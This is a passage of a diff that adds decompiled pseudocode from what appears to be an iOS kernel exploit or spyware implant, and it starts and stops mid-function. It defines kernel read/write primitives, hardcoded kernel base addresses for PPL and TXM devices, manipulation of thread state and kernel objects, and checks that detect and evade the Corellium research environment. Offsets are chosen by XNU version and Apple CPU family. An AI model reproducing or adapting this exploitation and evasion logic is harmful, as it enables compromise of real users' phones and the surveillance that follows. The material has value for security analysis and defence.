!(unsigned int)kreadbuf_last_1(a1, v29, bufSize[0], &v33) ) + return 0; + v30 = v33; + if ( v32 != *(_QWORD *)&bufSize[1] && !(unsigned int)kwritebuf_last_1((__int64)a1, v28, (__int64)&v32, 8) ) + return 0; + if ( (v25 & v20) == 0 || (v30 & v20) != 0 ) + { + v12 = sub_3C25C(a1, a3, a4, a5, a6); + } + else + { + v33 = v33 & ~v20 | v25 & v20; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v29, (__int64)&v33, bufSize[0]) ) + return 0; + v12 = sub_3C25C(a1, a3, a4, a5, a6); + v33 &= ~v20; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v29, (__int64)&v33, bufSize[0]) ) + return 0; + } + if ( v32 == *(_QWORD *)&bufSize[1] || (unsigned int)kwritebuf_last_1((__int64)a1, v28, (__int64)&bufSize[1], 8) ) + return v12 == 0; + return 0; +} + +//----- (000000000003C25C) ---------------------------------------------------- +__int64 __fastcall sub_3C25C( + struct_krwCtx *a1, + thread_act_t target_act, + thread_state_flavor_t flavor, + thread_state_t new_state, + mach_msg_type_number_t new_stateCnt) +{ + int xnuMajorVersion; // w25 + __int64 v11; // x24 + __int64 v12; // x24 + __int64 v13; // x20 + unsigned __int64 v14; // x0 + __int16 v16; // [xsp+Ch] [xbp-44h] BYREF + __int16 v17; // [xsp+Eh] [xbp-42h] BYREF + + v17 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion < 8796 ) + { + v12 = 0; + } + else + { + if ( krw_ctx_has_flag(a1, 0x4000000) ) + { + v11 = 192; + } + else if ( krw_ctx_has_flag(a1, 89670145) ) + { + v11 = 112; + } + else + { + v11 = 184; + } + v14 = port_name_to_kaddr(a1, target_act); + if ( !v14 ) + return 5; + v12 = v14 + v11; + if ( !(unsigned int)kreadbuf_last_1(a1, v12, 2, &v17) ) + return 5; + if ( (v17 & 0x80000000) == 0 ) + { + v16 = v17 | 0x8000; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v16, 2) ) + return 5; + } + } + v13 = thread_set_state(target_act, flavor, new_state, new_stateCnt); + if ( xnuMajorVersion >= 8796 && (v17 & 0x80000000) == 0 ) + kwritebuf_last_1((__int64)a1, v12, (__int64)&v17, 2); + return v13; +} + +//----- (000000000003C398) ---------------------------------------------------- +unsigned __int64 __fastcall kernel_get_base_unslid(struct_krwCtx *a1) +{ + unsigned __int64 result; // x0 + int xnuMajorVersion; // w8 + bool v4; // zf + int v5; // w9 + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8791 ) + { + v4 = xnuMajorVersion == 8792 || xnuMajorVersion == 10002; + v5 = 8796; + } + else + { + v4 = (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153; + v5 = 7195; + } + if ( v4 || xnuMajorVersion == v5 ) + { + if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CS_TXM) ) + { + return 0xFFFFFFF027004000LL; + } + else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CS_PPL_MAYBE) ) + { + return 0xFFFFFE0007004000LL; + } + else + { + return 0xFFFFFFF007004000LL; + } + } + return result; +} + +//----- (000000000003C450) ---------------------------------------------------- +__int64 __fastcall sub_3C450(__int64 a1, unsigned int a2, int a3, _BYTE *a4) +{ + __int64 v8; // x19 + unsigned __int64 v9; // x0 + unsigned __int64 v10; // x24 + unsigned __int64 v11; // x25 + int v12; // w8 + int v15; // w28 + unsigned int v16; // w0 + __int64 v17; // x25 + unsigned __int64 v18; // x26 + unsigned int v19; // w25 + _BOOL4 has_flag; // w0 + int v21; // w9 + int v22; // w10 + __int128 v23; // q0 + int v24; // w0 + __int64 v25; // x24 + unsigned __int64 v26; // x24 + __int128 v27; // q0 + int v28; // w0 + _DWORD length[3]; // [xsp+4h] [xbp-28Ch] BYREF + int v31; // [xsp+10h] [xbp-280h] BYREF + int v32; // [xsp+14h] [xbp-27Ch] BYREF + __int64 address; // [xsp+18h] [xbp-278h] BYREF + __int128 newBytes; // [xsp+20h] [xbp-270h] BYREF + __int128 v35; // [xsp+30h] [xbp-260h] + __int128 v36; // [xsp+40h] [xbp-250h] + __int128 v37; // [xsp+50h] [xbp-240h] + __int128 v38; // [xsp+60h] [xbp-230h] + __int128 v39; // [xsp+70h] [xbp-220h] + __int128 v40; // [xsp+80h] [xbp-210h] + __int128 v41; // [xsp+90h] [xbp-200h] + __int128 v42; // [xsp+A0h] [xbp-1F0h] + __int128 v43; // [xsp+B0h] [xbp-1E0h] + __int128 v44; // [xsp+C0h] [xbp-1D0h] + __int128 v45; // [xsp+D0h] [xbp-1C0h] + __int128 v46; // [xsp+E0h] [xbp-1B0h] + __int128 v47; // [xsp+F0h] [xbp-1A0h] + __int128 v48; // [xsp+100h] [xbp-190h] + __int128 v49; // [xsp+110h] [xbp-180h] + __int128 v50; // [xsp+120h] [xbp-170h] + __int128 v51; // [xsp+130h] [xbp-160h] + __int128 v52; // [xsp+140h] [xbp-150h] + __int128 v53; // [xsp+150h] [xbp-140h] + __int128 v54; // [xsp+160h] [xbp-130h] + __int128 v55; // [xsp+170h] [xbp-120h] + __int128 v56; // [xsp+180h] [xbp-110h] + __int128 v57; // [xsp+190h] [xbp-100h] + __int128 v58; // [xsp+1A0h] [xbp-F0h] + __int128 v59; // [xsp+1B0h] [xbp-E0h] + __int128 v60; // [xsp+1C0h] [xbp-D0h] + __int128 v61; // [xsp+1D0h] [xbp-C0h] + __int128 v62; // [xsp+1E0h] [xbp-B0h] + __int128 v63; // [xsp+1F0h] [xbp-A0h] + __int128 v64; // [xsp+200h] [xbp-90h] + __int128 v65; // [xsp+210h] [xbp-80h] + + v8 = 163855; + address = 0; + v9 = port_name_to_kaddr((struct_krwCtx *)a1, a2); + *(_QWORD *)&length[1] = 0; + if ( !v9 ) + return 163854; + v10 = v9; + v11 = *(_QWORD *)(a1 + 344); + v12 = *(_DWORD *)(a1 + 320); + if ( v11 <= 0x1F530F027FFFFFLL ) + { + if ( v12 == 8019 ) + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x100000) ) + { + v19 = 1016; + } + else if ( krw_ctx_has_flag((struct_krwCtx *)a1, 89669633) ) + { + v19 = 1000; + } + else + { + v19 = 976; + } + } + else + { + if ( v12 != 7195 ) + return 163847; + has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, 89669633); + if ( has_flag ) + v21 = 976; + else + v21 = 960; + if ( has_flag ) + v22 = 992; + else + v22 = 968; + if ( v11 >= 0x1C1B1914600000LL ) + v19 = v22; + else + v19 = v21; + } + v18 = v10 + v19; + if ( !kread64_outptr((struct_krwCtx *)a1, v18, (unsigned __int64 *)&address) ) + return v8; + length[0] = 0; + } + else + { + if ( v12 == 8792 || v12 == 10002 || v12 == 8796 ) + v15 = 72; + else + v15 = 0; + v16 = sub_33098((struct_krwCtx *)a1); + if ( !kread64_outptr((struct_krwCtx *)a1, v10 + v16, (unsigned __int64 *)&length[1]) ) + return v8; + if ( !validate_addr(a1, *(__int64 *)&length[1]) ) + return 163878; + v17 = *(_QWORD *)&length[1]; + v18 = v17 + (unsigned int)sub_33238(a1); + if ( !kread64_outptr((struct_krwCtx *)a1, v18, (unsigned __int64 *)&address) ) + return v8; + length[0] = v15; + v19 = 0; + } + if ( !address ) + goto LABEL_58; + if ( !validate_addr_maybe2((struct_krwCtx *)a1, address) ) + return 163878; + if ( length[0] ) + { + *(_QWORD *)&v23 = -1; + *((_QWORD *)&v23 + 1) = -1; + v64 = v23; + v65 = v23; + v62 = v23; + v63 = v23; + v60 = v23; + v61 = v23; + v58 = v23; + v59 = v23; + v56 = v23; + v57 = v23; + v54 = v23; + v55 = v23; + v52 = v23; + v53 = v23; + v50 = v23; + v51 = v23; + v48 = v23; + v49 = v23; + v46 = v23; + v47 = v23; + v44 = v23; + v45 = v23; + v42 = v23; + v43 = v23; + v41 = v23; + v39 = v23; + v40 = v23; + v37 = v23; + v38 = v23; + v35 = v23; + v36 = v23; + newBytes = v23; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, address, &newBytes, length[0]) ) + return 163856; + goto LABEL_58; + } + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) ) + { + if ( !a3 ) + goto LABEL_47; + } + else if ( *(_BYTE *)(a1 + 12) && (a3 & 1) == 0 ) + { +LABEL_47: + sub_2A63C((struct_krwCtx *)a1, v18, 0); + if ( !v24 ) + return 163856; + goto LABEL_58; + } + if ( !kread32_outptr(a1, address - 16, &v31) ) + return v8; + if ( (v31 & 0x7FFFFFFF) == 0x4A616371 ) + { + if ( !kread32_outptr(a1, address - 12, &v32) ) + return v8; + if ( (unsigned int)(v32 - 17) > 0x1DF ) + return 163857; + __memset_chk(); + if ( !(unsigned int)kwritebuf_last_1(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) ) + return 163856; + } + else + { + if ( !a4 ) + return 163856; + *a4 = 1; + } +LABEL_58: + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + { + v26 = v10 + v19 + *(int *)(a1 + 360); + } + else + { + v25 = *(_QWORD *)&length[1]; + v26 = v25 + (unsigned int)sub_331D0(a1); + } + if ( !kread64_outptr((struct_krwCtx *)a1, v26, (unsigned __int64 *)&address) ) + return v8; + if ( !address ) + goto LABEL_85; + if ( !validate_addr_maybe2((struct_krwCtx *)a1, address) ) + return 163878; + if ( length[0] ) + { + *(_QWORD *)&v27 = -1; + *((_QWORD *)&v27 + 1) = -1; + v64 = v27; + v65 = v27; + v62 = v27; + v63 = v27; + v60 = v27; + v61 = v27; + v58 = v27; + v59 = v27; + v56 = v27; + v57 = v27; + v54 = v27; + v55 = v27; + v52 = v27; + v53 = v27; + v50 = v27; + v51 = v27; + v48 = v27; + v49 = v27; + v46 = v27; + v47 = v27; + v44 = v27; + v45 = v27; + v42 = v27; + v43 = v27; + v41 = v27; + v39 = v27; + v40 = v27; + v37 = v27; + v38 = v27; + v35 = v27; + v36 = v27; + newBytes = v27; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, address, &newBytes, length[0]) ) + return 163856; + goto LABEL_85; + } + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) ) + { + if ( !a3 ) + goto LABEL_74; + } + else if ( *(_BYTE *)(a1 + 12) && (a3 & 1) == 0 ) + { +LABEL_74: + sub_2A63C((struct_krwCtx *)a1, v26, 0); + if ( !v28 ) + return 163856; + goto LABEL_85; + } + if ( !kread32_outptr(a1, address - 16, &v31) ) + return v8; + if ( (v31 & 0x7FFFFFFF) != 0x4A616371 ) + { + if ( a4 ) + { + *a4 = 1; + goto LABEL_85; + } + return 163856; + } + if ( !kread32_outptr(a1, address - 12, &v32) ) + return v8; + if ( (unsigned int)(v32 - 17) > 0x1DF ) + return 163857; + __memset_chk(); + if ( !(unsigned int)kwritebuf_last_1(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) ) + return 163856; +LABEL_85: + if ( mach_task_self_ == a2 && (!a4 || !*a4) ) + krw_ctx_set_flag((_DWORD *)a1, 0x800000); + return 0; +} +// 3C6D0: variable 'v24' is possibly undefined +// 3C880: variable 'v28' is possibly undefined + +//----- (000000000003C9A4) ---------------------------------------------------- +__int64 __fastcall sub_3C9A4(struct_krwCtx *a1, unsigned int a2) +{ + __int64 v4; // x19 + unsigned __int64 v5; // x0 + unsigned __int64 v6; // x22 + int v7; // w8 + mach_vm_size_t v10; // x23 + unsigned int v11; // w0 + __int64 v12; // x22 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x0 + int xnuMajorVersion; // w8 + __int64 v16; // x8 + __int128 v17; // q0 + __int64 v18; // x2 + int v19; // w0 + unsigned __int64 v21; // x0 + __int128 v22; // q0 + unsigned __int64 vaddr; // [xsp+8h] [xbp-2E8h] BYREF + unsigned int v24; // [xsp+14h] [xbp-2DCh] BYREF + unsigned __int64 v25; // [xsp+18h] [xbp-2D8h] BYREF + _OWORD newBytes[32]; // [xsp+20h] [xbp-2D0h] BYREF + _OWORD v27[8]; // [xsp+220h] [xbp-D0h] BYREF + + v4 = 163856; + vaddr = 0; + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + { + v14 = sub_33E8C(a1, a2); + if ( v14 ) + { + xnuMajorVersion = a1->xnuMajorVersion; + switch ( xnuMajorVersion ) + { + case 6153: + v16 = 696; + break; + case 8019: + v16 = 800; + break; + case 7195: + v16 = 672; + break; + default: + return 163847; + } + v13 = v16 + v14; + if ( !kread64_outptr(a1, v16 + v14, &vaddr) ) + return 163855; + v10 = 0; + goto LABEL_26; + } + return 163854; + } + v5 = port_name_to_kaddr(a1, a2); + if ( !v5 ) + return 163854; + v6 = v5; + v7 = a1->xnuMajorVersion; + if ( v7 == 8792 || v7 == 10002 || v7 == 8796 ) + v10 = 72; + else + v10 = 0; + v11 = sub_33098(a1); + if ( !kread64_outptr(a1, v6 + v11, (unsigned __int64 *)v27) ) + return 163855; + if ( !validate_addr((__int64)a1, *(__int64 *)&v27[0]) ) + return 163878; + v12 = *(_QWORD *)&v27[0]; + v13 = v12 + (unsigned int)sub_33168((__int64)a1); + if ( !kread64_outptr(a1, v13, &vaddr) ) + return 163855; +LABEL_26: + if ( !vaddr ) + { +LABEL_37: + if ( !(unsigned int)sub_1BC78(a2) ) + return 163843; + if ( mach_task_self_ == a2 ) + krw_ctx_set_flag(a1, 0x8000000); + return 0; + } + if ( !validate_addr_maybe2(a1, vaddr) ) + return 163878; + if ( (_DWORD)v10 ) + { + *(_QWORD *)&v17 = -1; + *((_QWORD *)&v17 + 1) = -1; + newBytes[30] = v17; + newBytes[31] = v17; + newBytes[28] = v17; + newBytes[29] = v17; + newBytes[26] = v17; + newBytes[27] = v17; + newBytes[24] = v17; + newBytes[25] = v17; + newBytes[22] = v17; + newBytes[23] = v17; + newBytes[20] = v17; + newBytes[21] = v17; + newBytes[18] = v17; + newBytes[19] = v17; + newBytes[16] = v17; + newBytes[17] = v17; + newBytes[14] = v17; + newBytes[15] = v17; + newBytes[12] = v17; + newBytes[13] = v17; + newBytes[10] = v17; + newBytes[11] = v17; + newBytes[8] = v17; + newBytes[9] = v17; + newBytes[7] = v17; + newBytes[5] = v17; + newBytes[6] = v17; + newBytes[3] = v17; + newBytes[4] = v17; + newBytes[1] = v17; + newBytes[2] = v17; + newBytes[0] = v17; + if ( !(unsigned int)kwritebuf_universal(a1, vaddr, newBytes, v10) ) + return v4; + goto LABEL_37; + } + v25 = 0; + if ( !(unsigned int)sub_36160(a1, 0xDu, (__int64 *)&v25) ) + return 163858; + v18 = v25; + if ( v25 ) + { +LABEL_36: + sub_2A63C(a1, v13, v18); + if ( !v19 ) + return v4; + goto LABEL_37; + } + v24 = 128; + v21 = sub_37210((__int64)a1, &v24); + v25 = v21; + if ( !v21 ) + return 708617; + *(_QWORD *)&v22 = -1; + *((_QWORD *)&v22 + 1) = -1; + v27[6] = v22; + v27[7] = v22; + v27[4] = v22; + v27[5] = v22; + v27[2] = v22; + v27[3] = v22; + v27[0] = v22; + v27[1] = v22; + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v21, (__int64)v27, 128) + && (unsigned int)sub_361DC((__int64)a1, 0xDu, v25) ) + { + v18 = v25; + goto LABEL_36; + } + return v4; +} +// 3CBB8: variable 'v19' is possibly undefined + +//----- (000000000003CCA8) ---------------------------------------------------- +__int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) +{ + kern_return_t v4; // w0 + __int64 mach_port_with_a2; // x21 + int v7; // w0 + __int64 v8; // x27 + __int128 oword10; // q1 + __int64 v10; // x9 + pid_t v11; // w0 + io_registry_entry_t v12; // w0 + io_registry_entry_t v13; // w22 + const __CFString *v14; // x0 + const __CFString *v15; // x23 + const __CFString *CFProperty; // x0 + const __CFString *v17; // x25 + CFTypeID TypeID; // x26 + const __CFString *v19; // x24 + int HasPrefix; // w26 + unsigned __int64 v21; // x0 + unsigned __int64 v22; // x22 + int *p_xnuMajorVersion; // x22 + int xnuMajorVersion; // w8 + int xnuMajorVersionGroup; // w9 + int v26; // w9 + __int64 v27; // x8 + int v28; // w0 + unsigned __int64 someLargeNumber; // x8 + int v30; // w1 + int v31; // w1 + unsigned __int64 v32; // x8 + int v33; // w8 + int v34; // w0 + int v35; // w8 + int v36; // w9 + uint64_t *gap192; // x26 + unsigned __int64 v38; // x8 + int v39; // w0 + unsigned __int64 v40; // x9 + unsigned __int64 v41; // x22 + int v42; // w23 + unsigned __int64 v43; // x8 + unsigned __int64 v44; // x21 + __int64 v45; // x8 + unsigned __int64 v46; // x0 + __int64 v47; // x1 + unsigned __int64 v48; // x0 + mach_vm_address_t v49; // x24 + __int64 v50; // x8 + unsigned __int64 v51; // x0 + __int64 v52; // x24 + __int64 (__fastcall *v53)(struct_krwCtx *); // x8 + unsigned int v54; // w1 + unsigned __int64 v55; // x0 + unsigned __int64 v56; // x21 + size_t v57; // x8 + struct_a1 *v58; // x0 + __int128 v59; // q1 + task_name_t v60; // w0 + __int64 *v61; // x23 + __int64 *st_ino; // x21 + int v63; // w26 + __int64 v64; // x0 + unsigned __int64 v65; // x0 + struct_a1 *v67; // x0 + __int64 v68; // x21 + __int128 v69; // q1 + __int64 v70; // x8 + __int64 v71; // x8 + host_t v72; // w0 + host_t v73; // w2 + int v74; // w0 + int v75; // w0 + host_priv_t v76; // w0 + char *v77; // x0 + struct_a1 *v78; // x0 + struct_a1 *v79; // x21 + unsigned int v80; // w26 + __int128 v81; // q1 + struct_v83 *v82; // x0 + struct_v83 *v83; // x23 + __int128 v84; // q1 + __int64 v85; // x9 + __int64 v86; // x0 + unsigned __int64 variable_addr; // x0 + unsigned __int64 v88; // x22 + unsigned __int64 v89; // x0 + mach_vm_address_t v90; // x23 + unsigned __int64 v91; // x8 + unsigned int v92; // w0 + mach_port_name_t *v93; // [xsp+8h] [xbp-168h] + unsigned __int64 v94; // [xsp+10h] [xbp-160h] + int v95; // [xsp+18h] [xbp-158h] + int v96; // [xsp+20h] [xbp-150h] BYREF + char v97; // [xsp+27h] [xbp-149h] BYREF + __int64 v98; // [xsp+28h] [xbp-148h] BYREF + struct_xnuMajorVersion xnuVersion; // [xsp+30h] [xbp-140h] BYREF + __int64 v100; // [xsp+60h] [xbp-110h] BYREF + size_t v101; // [xsp+68h] [xbp-108h] BYREF + uint64_t cpuFamily; // [xsp+70h] [xbp-100h] BYREF + size_t v103; // [xsp+78h] [xbp-F8h] BYREF + stat v104; // [xsp+80h] [xbp-F0h] BYREF + + v100 = 0; + memset(&xnuVersion, 0, sizeof(xnuVersion)); + v98 = 0; + v97 = 0; + v96 = 0; + *(_QWORD *)krwCtx->gap1911 = -1; + *(_QWORD *)&krwCtx->gap1913 = -1; + *(_QWORD *)&krwCtx->gap1915 = -1; + mach_timebase_info(&krwCtx->timebase); + pthread_mutex_init(&krwCtx->someMutex2, 0); + pthread_mutex_init(&krwCtx->someMutex, 0); + v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0); + if ( v4 ) + return v4 | 0x80000000; + kernel_version_parse(&xnuVersion, krwCtx->gap16C, &krwCtx->gap16C[1]); + if ( !v7 ) + return 708629; + v8 = 163858; + oword10 = xnuVersion.oword10; + *(_OWORD *)&krwCtx->xnuMajorVersion = xnuVersion.majorVersion; + *(_OWORD *)&krwCtx->gap144[12] = oword10; + v10 = *((_QWORD *)&xnuVersion.oword10 + 1); + *(_QWORD *)krwCtx->gap160 = xnuVersion.qword20; + krwCtx->int168 = 8; + mach_port_with_a2 = 163847; + if ( (unsigned __int64)(v10 - 0x18090006700000LL) > 0xF090EFE400003LL ) + return mach_port_with_a2; + memset(&v104, 0, sizeof(v104)); + if ( !stat("/usr/libexec/corelliumd", &v104) ) + return 0x28022; + v11 = getpid(); + if ( (int)sandbox_check(v11) <= 0 ) + { + v12 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/"); + if ( v12 ) + { + v13 = v12; + v14 = CFStringCreateWithCString(kCFAllocatorDefault, "IOPlatformSerialNumber", 0x8000100u); + if ( v14 ) + { + v15 = v14; + CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty(v13, v14, kCFAllocatorDefault, 0); + if ( CFProperty ) + { + v17 = CFProperty; + TypeID = CFStringGetTypeID(); + if ( TypeID == CFGetTypeID(v17) ) + { + v19 = CFStringCreateWithCString(kCFAllocatorDefault, "CORELLIUM", 0x8000100u); + HasPrefix = CFStringHasPrefix(v17, v19); + CFRelease(v19); + CFRelease(v17); + CFRelease(v15); + IOObjectRelease(v13); + if ( HasPrefix ) + return 0x28022; + goto LABEL_17; + } + } + CFRelease(v15); + } + IOObjectRelease(v13); + } + } +LABEL_17: + v21 = sub_41040(); + if ( !v21 ) + return 0x28012; + v22 = v21; + LODWORD(v103) = 0; + if ( !(unsigned int)sub_1F240(&v103) ) + return 0x28022; + if ( (_DWORD)v103 == 0x92FB37C8 || (_DWORD)v103 == 0x37A09642 || (_DWORD)v103 == 0x2C91A47E ) + { + if ( (*(_QWORD *)(v22 + 16) & 0x4000000) == 0 ) + goto LABEL_23; + return 0x28022; + } + if ( *(_WORD *)(v22 + 38) != 128 ) + return 0x28022; +LABEL_23: + p_xnuMajorVersion = &krwCtx->xnuMajorVersion; + xnuMajorVersion = krwCtx->xnuMajorVersion; + if ( xnuMajorVersion > 8791 ) + { + if ( xnuMajorVersion == 8792 || xnuMajorVersion == 10002 ) + goto LABEL_33; + xnuMajorVersionGroup = 8796; + } + else + { + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153 ) + goto LABEL_33; + xnuMajorVersionGroup = 7195; + } + if ( xnuMajorVersion != xnuMajorVersionGroup ) + return mach_port_with_a2; +LABEL_33: + if ( xnuMajorVersion >= 7195 ) + krwCtx->gap4[7] = check_sandboxed(krwCtx->someLargeNumber >> 43 > 0x44A); + if ( !(unsigned int)sub_1F240(&cpuFamily) ) + return 163858; + if ( (int)cpuFamily <= 0x2876F5B4 ) + { + if ( (int)cpuFamily > (int)0xE81E7EF5 ) + { + if ( (int)cpuFamily > 0x7D34B9E ) + { + if ( (_DWORD)cpuFamily == CPUFamily_A12 ) + { + v31 = 1; + } + else + { + if ( (_DWORD)cpuFamily != CPUFamily_A14 ) + goto LABEL_69; + if ( (int)number_of_cpus() >= 8 && krwCtx->someLargeNumber >= 0x22580A06C00000LL ) + krw_ctx_set_flag(krwCtx, 8); + v31 = 0x80000; + } + goto LABEL_68; + } + if ( (_DWORD)cpuFamily != CPUFamily_A11 ) + { + v26 = -97304226; + goto LABEL_64; + } + v31 = 512; +LABEL_68: + krw_ctx_set_flag(krwCtx, v31); + goto LABEL_69; + } + if ( (_DWORD)cpuFamily == CPUFamily_A16 ) + { +LABEL_65: + if ( krwCtx->someLargeNumber > 0x2711FFFFFFFFFFLL ) + krw_ctx_set_flag(krwCtx, 32); + v31 = 0x1000000; + goto LABEL_68; + } + if ( (_DWORD)cpuFamily == CPUFamily_A9 ) + { + v31 = 0x2000; + goto LABEL_68; + } + if ( (_DWORD)cpuFamily != CPUFamily_A15 ) + goto LABEL_69; + v28 = number_of_cpus(); + someLargeNumber = krwCtx->someLargeNumber; + if ( v28 < 8 ) + { + if ( someLargeNumber > 0x2711FFFFFFFFFFLL ) + { + v30 = 32; + goto LABEL_118; + } + } + else if ( someLargeNumber >> 43 > 0x44A ) + { + v30 = 8; +LABEL_118: + krw_ctx_set_flag(krwCtx, v30); + } + v31 = 0x100000; + goto LABEL_68; + } + if ( (int)cpuFamily <= 0x573B5EEB ) + { + switch ( (_DWORD)cpuFamily ) + { + case CPUFamily_A17: + krw_ctx_set_flag(krwCtx, 32); + v31 = 0x4000000; + break; + case CPUFamily_A8: + v31 = 0x8000; + break; + case CPUFamily_A13: + v31 = 0x4000; + break; + default: + goto LABEL_69; + } + goto LABEL_68; + } + if ( (int)cpuFamily > 0x67CEEE92 ) + { + if ( (_DWORD)cpuFamily == CPUFamily_A10 ) + { + v31 = 64; + goto LABEL_68; + } + v26 = 1912690738; +LABEL_64: + if ( (_DWORD)cpuFamily != v26 ) + goto LABEL_69; + goto LABEL_65; + } + if ( (_DWORD)cpuFamily != 1463508716 ) + { + v26 = 1598941843; + goto LABEL_64; + } + krw_ctx_set_flag(krwCtx, 0x80000); + v40 = krwCtx->someLargeNumber; + if ( v40 - 0x1C1B1914600000LL <= 0x641056BEFFFFFLL ) + { + v27 = 708616; + if ( v40 <= 0x1F543C41E00000LL || krwCtx->xnuMajorVersion >= 8792 ) + return v27; + } +LABEL_69: + v32 = krwCtx->someLargeNumber; + if ( v32 <= 0x1F530F027FFFFFLL ) + return mach_port_with_a2; + if ( krwCtx->xnuMajorVersion <= 8791 ) + { + memset(&v104, 0, 32); + v103 = 32; + if ( sysctlbyname("hw.model", &v104, &v103, 0, 0) ) + { + v33 = *__error(); + if ( v33 < 0 ) + v33 = -v33; + return v33 | 0x40000000u; + } + if ( (v104.st_dev & 0xDF) == 0x4A && !((sub_1F0F4() - 1073741825) >> 30) ) + krw_ctx_set_flag(krwCtx, 0x10000000); + v32 = krwCtx->someLargeNumber; + } + if ( v32 <= 0x225C23801AF00CLL ) + { + if ( v32 > 0x225C19804FFFFFLL ) + { + if ( (krwCtx->flags & 0x5584001) == 0 || (krwCtx->flags & 1) != 0 ) + goto LABEL_87; + goto LABEL_86; + } + if ( v32 > 0x1F543C41E00000LL ) + { +LABEL_86: + if ( *p_xnuMajorVersion >= 8792 ) + return mach_port_with_a2; + goto LABEL_87; + } + if ( v32 <= 0x1F530F027FFFFFLL || *p_xnuMajorVersion > 8791 || ((krwCtx->flags >> 28) & 1) == 0 ) + return mach_port_with_a2; + } +LABEL_87: + v34 = sub_1F114(); + if ( !v34 ) + return 0x28012; + krwCtx->pageSizeOrSomething = v34; + krwCtx->qword188 = (unsigned int)(v34 - 1); + v35 = krwCtx->xnuMajorVersion; + if ( v35 > 8791 ) + { + if ( v35 == 8792 || v35 == 10002 ) + goto LABEL_96; + v36 = 8796; + } + else + { + if ( (unsigned int)(v35 - 8019) < 2 || v35 == 6153 ) + goto LABEL_96; + v36 = 7195; + } + if ( v35 != v36 ) + return 0x28012; +LABEL_96: + krwCtx->gap16C[3] = 2 * v34 - 64; + *(_OWORD *)krwCtx->gap1921 = xmmword_43730; + if ( !(unsigned int)another_sandbox_check((__int64)krwCtx) ) + return 0x28012; + mach_port_with_a2 = create_mach_port_with_a2((__int64)krwCtx, 0x200u); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + gap192 = (uint64_t *)krwCtx->gap1911; + if ( something ) + { + v38 = krwCtx->someLargeNumber; + if ( v38 <= 0x27120F04B00002LL ) + { + if ( v38 <= 0x225C1E804FFFFFLL ) + { + if ( v38 <= 0x225C19804FFFFFLL ) + { + if ( v38 <= 0x1F530F027FFFFFLL || (krwCtx->flags & 0x5584001) == 0 && v38 <= 0x1F5418FFFFFFFFLL ) + { + v39 = sub_1C0C8((__int64)krwCtx, &v96); + goto LABEL_122; + } + } + else if ( (krwCtx->flags & 0x5584001) == 0 || (krwCtx->flags & 1) != 0 ) + { + goto LABEL_121; + } + v39 = sub_1C3EC((__int64)krwCtx, &v96); + goto LABEL_122; + } + } + else if ( (krwCtx->flags & 0x20) != 0 ) + { + v39 = sub_B460((__int64)krwCtx, &v96) == 0; +LABEL_122: + if ( !v39 ) + return 163869; + if ( v96 + && (krwCtx->threadForKernelRead + 1 >= 2 && *(_QWORD *)&krwCtx->gap42[40] + || (unsigned int)(*(_DWORD *)&krwCtx->gap42[56] + 1) >= 2 + && *(_QWORD *)&krwCtx->gap42[72] + && *(_QWORD *)&krwCtx->gap42[80] + || *(_DWORD *)gap192 != -1 + && krwCtx->gap1911[1] != -1 + && (krwCtx->gap1915 != -1 && krwCtx->gap190u || krwCtx->gap1913 != -1 && krwCtx->gap1914 != -1) + || (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) >= 2) ) + { + krw_ctx_set_flag(krwCtx, 0x10000); + } + goto LABEL_148; + } +LABEL_121: + v39 = sub_1D70C((__int64)krwCtx, &v96); + goto LABEL_122; + } +LABEL_148: + v41 = krwCtx->someLargeNumber; + if ( v41 >> 43 <= 0x44A ) + v42 = 128; + else + v42 = 1152; + if ( (krwCtx->threadForKernelRead + 1 < 2 || !*(_QWORD *)&krwCtx->gap42[40]) + && ((unsigned int)(*(_DWORD *)&krwCtx->gap42[56] + 1) < 2 + || !*(_QWORD *)&krwCtx->gap42[72] + || !*(_QWORD *)&krwCtx->gap42[80]) + && (*(_DWORD *)gap192 == -1 + || krwCtx->gap1911[1] == -1 + || (krwCtx->gap1913 == -1 || krwCtx->gap1914 == -1) && (krwCtx->gap1915 == -1 || !krwCtx->gap190u)) + && (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) <= 1 ) + { + mach_port_with_a2 = sub_CE78((uint64_t)krwCtx, krwCtx->gap19210, 0, (uint64_t)&krwCtx->gap191[693]); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + if ( sub_25DE8((__int64)krwCtx) ) + { + if ( krwCtx->someLargeNumber > 0x1F530F027FFFFFLL && krwCtx->gap4[7] ) + { + v95 = 1; + goto LABEL_172; + } + mach_port_with_a2 = sub_25804((__int64)krwCtx); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + v95 = 0; +LABEL_172: + v94 = krwCtx->someLargeNumber; + 